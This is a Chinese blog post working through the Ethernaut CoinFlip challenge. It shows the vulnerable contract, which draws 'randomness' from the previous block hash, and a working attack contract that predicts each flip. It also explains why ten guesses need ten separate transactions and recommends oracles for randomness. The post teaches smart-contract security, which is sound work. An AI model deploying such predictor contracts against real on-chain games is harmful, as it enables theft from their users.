# 安全审计-交易打包的底层问题

By [Canvie.crypto](https://paragraph.com/@canvie-crypto) · 2025-07-10

---

最近在刷Ethersnaut，有道题目是猜测问题，需要在看到被攻击合约代码后，找到攻击点，使得可以连续猜中10次以上。被攻击合约中，本意是想使用随机数来计算。可以在整个计算中是可以预测和计算，这并不是真的是随机数。如果是要使用随机数，最好是是用预言机来获取随机数，在每次计算时都是未知和不可以预测的，这样才会防止被攻击。在web2的传统开发思路中，循环10次就可以完成10次的猜测动作，这个是个容易忽视的陷阱。在合约开发中，首先一定要熟悉整个交易打包的底层机制，首先是发出交易，进入内存池等待，交易打包，然后对交易进行计算处理（其中就有EVM参与的执行），如果是在一个交易中循环执行10次，但是block.number等信息始终不变，一个交易中block信息不会变化。要想实现10次有不同的block.number，则要发起10次不同的交易。

    // 这是被攻击合约代码
    contract CoinFlip {
        uint256 public consecutiveWins;
        uint256 lastHash;
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
        constructor() {
            consecutiveWins = 0;
        }
    
        function flip(bool _guess) public returns (bool) {
            uint256 blockValue = uint256(blockhash(block.number - 1));
    
            if (lastHash == blockValue) {
                revert();
            }
    
            lastHash = blockValue;
            uint256 coinFlip = blockValue / FACTOR;
            bool side = coinFlip == 1 ? true : false;
    
            if (side == _guess) {
                consecutiveWins++;
                return true;
            } else {
                consecutiveWins = 0;
                return false;
            }
        }
    
        
    }
    
    // 正确的攻击代码
    interface  ICoinFlip {
        function flip(bool _guess) external  returns (bool);
    }
    
    contract CoinFlipAttack {
        ICoinFlip public coinflip;
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    
        constructor (address _coinflip) {
            coinflip = ICoinFlip(_coinflip);
        }
    
        function attack() public {
           uint256 blockValue = uint256(blockhash(block.number -1 ));
    
            uint256 coinFlip = blockValue / FACTOR;
            bool side = coinFlip == 1 ? true : false;
            coinflip.flip(side);
        }
    }
    
    // 错误示例攻击伪代码
    for (uint256 i = 0; i < 10; i++) {
      //一些前置处理,记录
      attack();
      // 一些后置处理
    }

---

*Originally published on [Canvie.crypto](https://paragraph.com/@canvie-crypto/ZGL3yZ0BCAQ27MZ0ecBq)*
